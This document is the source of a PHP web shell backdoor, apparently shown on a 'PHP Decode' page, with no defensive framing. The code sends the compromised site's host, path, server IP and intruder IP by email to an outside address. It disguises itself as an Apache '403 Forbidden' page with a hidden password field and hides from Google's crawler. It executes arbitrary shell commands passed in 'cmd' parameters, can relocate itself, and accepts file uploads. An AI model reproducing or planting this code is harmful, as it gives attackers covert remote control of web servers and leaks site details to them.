PHP Decode

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF[BArNEr]";}
else {$security= "SAFE_MODE = ON[BArNEr]";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/tmp/error.php";
rename($source, $desti);
}
/*(Error 403 Forbidden) */
/*joomla.org*/
$auth_pass = "2f3a4fccca6406e35bcf33e92dd93135";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 403 Forbidden');
    exit;
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF (BArNEr) ";}
else {$security= "SAFE_MODE : ON (BArNEr) ";}
echo "<title>403 Forbidden</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
$safe = @ini_get('safe_mode');
if (!$safe) {$security= "SAFE_MODE : OFF(BArNEr)";}
else {$security= "SAFE_MODE : ON(BArNEr)";}
function printLogin() {
    ?>
<h1>403 Forbidden</h1>
<p>You do not have permission to access this document.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post>
    <input type=password name=pass>
    </form></center>
    <?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<br><br>'.php_uname().'<br>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'File Uploaded!<br><br>'; } else { echo 'File Upload, Failed!<br><br>'; } }